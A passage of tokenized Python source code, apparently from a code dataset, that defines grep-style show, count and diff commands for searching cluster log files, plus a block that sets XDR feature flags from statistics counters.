"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "features_", "[_", "node_", "]_", "[_", "\"", "XD", "R", " ", "ENABLE", "D", "\"_", "]_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "int_", "(_", "stats_", "[_", "\"", "stat", "\\u", "read", "\\u", "reqs", "\\u", "xdr", "\"_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "XD", "R", " ", "ENABLE", "D", "\"_", "]_", "=_", "\"", "YE", "S", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "features_", "[_", "node_", "]_", "[_", "\"", "XD", "R", " ", "DEST", "INATION", "\"_", "]_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "int_", "(_", "stats_", "[_", "\"", "stat", "\\u", "write", "\\u", "reqs", "\\u", "xdr", "\"_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "features_", "[_", "node_", "]_", "[_", "\"", "XD", "R", " ", "DEST", "INATION", "\"_", "]_", "=_", "\"", "YE", "S", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "view_", "._", "show", "Config_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"(", "%", "s", ")", " ", "Feature", "s", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "timestamp_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "features_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "logger_", "._", "get", "\\u", "log", "\\u", "snapshot_", "(_", "timestamp_", "=_", "timestamp_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "**_", "self_", "._", "mods_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Gre", "p", "File_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "\\u", "show_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\"", "Cou", "ld", " ", "not", " ", "underst", "and", " ", "grep", " ", "request", ",", " ", "\"_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "see", " ", "'", "help", " ", "grep", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mods_", "=_", "self_", "._", "parse", "Modifie", "rs_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "mods_", "[_", "'", "line", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tli", "ne_", "=_", "line_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "\\u", "strs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ignore", "\\u", "str_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "tm_", "=_", "\"", "head", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sources_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unique_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "and_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "case", "sensitive_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "readi", "ng", "\\u", "search", "\\u", "strings_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "\\u", "string", "\\u", "read_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "tli", "ne_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "search", "\\u", "string", "\\u", "read_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "word_", "==_", "'-", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "search", "\\u", "strs_", "._", "append_", "(_", "strip", "\\u", "string_", "(_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "readi", "ng", "\\u", "search", "\\u", "strings_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "\\u", "string", "\\u", "read_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "search", "\\u", "strs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "\\u", "and_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "v", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ignore", "\\u", "str_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ignore", "\\u", "str_", "=_", "strip", "\\u", "string_", "(_", "ignore", "\\u", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "u", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unique_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "i", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "\\u", "case", "sensitive_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "f", "'_", "and_", "not_", "self_", "._", "grep", "\\u", "cluster_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "tm_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "tm_", "=_", "strip", "\\u", "string_", "(_", "start", "\\u", "tm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "d", "'_", "and_", "not_", "self_", "._", "grep", "\\u", "cluster_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "duration_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration_", "=_", "strip", "\\u", "string_", "(_", "duration_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sources_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "int_", "(_", "i_", ")_", "for_", "i_", "in_", "strip", "\\u", "string_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", ")_", "._", "split_", "(_", "\",\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sources_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "readi", "ng", "\\u", "search", "\\u", "strings_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "search", "\\u", "strs_", "._", "append_", "(_", "strip", "\\u", "string_", "(_", "word_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "search", "\\u", "string", "\\u", "read_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Do", " ", "not", " ", "underst", "and", " ", "'%", "s", "'", " ", "in", " ", "'%", "s", "'\"_", "%_", "(_", "word_", ",_", "\"", " ", "\"_", "._", "join_", "(_", "line_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "search", "\\u", "string", "\\u", "read_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "readi", "ng", "\\u", "search", "\\u", "strings_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "search", "\\u", "strs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "files_", "=_", "self_", "._", "logger_", "._", "get", "\\u", "files", "\\u", "by", "\\u", "index_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "grep", "\\u", "cluster_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sources_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "files_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "grep", "Res_", "=_", "self_", "._", "logger_", "._", "grep", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "files_", "[_", "timestamp_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "search", "\\u", "strs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ignore", "\\u", "str_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "unique_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "grep", "\\u", "cluster_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "tm_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "duration_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "\\u", "and_", ",_", "is", "\\u", "case", "sensitive_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "d\\u", "res_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", "in_", "sorted_", "(_", "grep", "Res_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "merge", "d\\u", "res_", "+=_", "grep", "Res_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "d\\u", "res_", "+=_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "view_", "._", "info", "String_", "(_", "timestamp_", ",_", "merge", "d\\u", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Gre", "p", "File_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "\\u", "count_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\"", "Cou", "ld", " ", "not", " ", "underst", "and", " ", "grep", " ", "request", ",", " ", "\"_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "see", " ", "'", "help", " ", "grep", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mods_", "=_", "self_", "._", "parse", "Modifie", "rs_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "mods_", "[_", "'", "line", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tli", "ne_", "=_", "line_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "\\u", "strs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ignore", "\\u", "str_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unique_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "and_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "case", "sensitive_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "tm_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sources_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "readi", "ng", "\\u", "search", "\\u", "strings_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "\\u", "string", "\\u", "read_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "tli", "ne_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "search", "\\u", "string", "\\u", "read_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "word_", "==_", "'-", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "search", "\\u", "strs_", "._", "append_", "(_", "strip", "\\u", "string_", "(_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "readi", "ng", "\\u", "search", "\\u", "strings_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "\\u", "string", "\\u", "read_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "search", "\\u", "strs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "\\u", "and_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "u", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unique_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "i", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "\\u", "case", "sensitive_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "v", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ignore", "\\u", "str_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ignore", "\\u", "str_", "=_", "strip", "\\u", "string_", "(_", "ignore", "\\u", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "f", "'_", "and_", "not_", "self_", "._", "grep", "\\u", "cluster_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "tm_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "tm_", "=_", "strip", "\\u", "string_", "(_", "start", "\\u", "tm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "d", "'_", "and_", "not_", "self_", "._", "grep", "\\u", "cluster_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "duration_", "=_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration_", "=_", "strip", "\\u", "string_", "(_", "duration_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "word_", "==_", "'-", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sources_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "int_", "(_", "i_", ")_", "for_", "i_", "in_", "strip", "\\u", "string_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tli", "ne_", "._", "pop_", "(_", "0_", ")_", ")_", "._", "split_", "(_", "\",\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sources_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "readi", "ng", "\\u", "search", "\\u", "strings_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "search", "\\u", "strs_", "._", "append_", "(_", "strip", "\\u", "string_", "(_", "word_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "search", "\\u", "string", "\\u", "read_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Do", " ", "not", " ", "underst", "and", " ", "'%", "s", "'", " ", "in", " ", "'%", "s", "'\"_", "%_", "(_", "word_", ",_", "\"", " ", "\"_", "._", "join_", "(_", "line_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "search", "\\u", "string", "\\u", "read_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "readi", "ng", "\\u", "search", "\\u", "strings_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "search", "\\u", "strs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "files_", "=_", "self_", "._", "logger_", "._", "get", "\\u", "files", "\\u", "by", "\\u", "index_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "grep", "\\u", "cluster_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sources_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "files_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "self_", "._", "logger_", "._", "grep", "Count_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "files_", "[_", "timestamp_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "search", "\\u", "strs_", ",_", "ignore", "\\u", "str_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "unique_", ",_", "self_", "._", "grep", "\\u", "cluster_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "tm_", ",_", "duration_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "\\u", "and_", ",_", "is", "\\u", "case", "sensitive_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "d\\u", "res_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", "in_", "sorted_", "(_", "res_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "str_", "=_", "\"", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "grep", "\\u", "cluster_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "str_", "=_", "key_", "+_", "\"", " ", ":", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "merge", "d\\u", "res_", "+=_", "str_", "+_", "\"", "Count", " ", "of", " ", "%", "s", " ", "is", " ", ":", " ", "%", "s", "\"_", "%_", "(_", "search", "\\u", "strs_", ",_", "res_", "[_", "key_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "d\\u", "res_", "+=_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "view_", "._", "info", "String_", "(_", "timestamp_", ",_", "merge", "d\\u", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Gre", "p", "File_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "\\u", "diff_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Shel", "l", "Exception_", "(_", "\"", "Cou", "ld", " ", "not", " ", "underst", "and", " ", "grep", " ", "request", ",", " ", "\"_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "see", " ", "'", "help", " ", "grep", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mods_", "=_", "self_", "._", "parse", "Modifie", "rs_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "mods_", "[_", "'", "line", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tli", "ne_", "=_", "line_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "\\u", "str_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "tm_", "=_", "\"", "head", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slice", "\\u", "tm_", "=_", "\"", "10", "\"_", 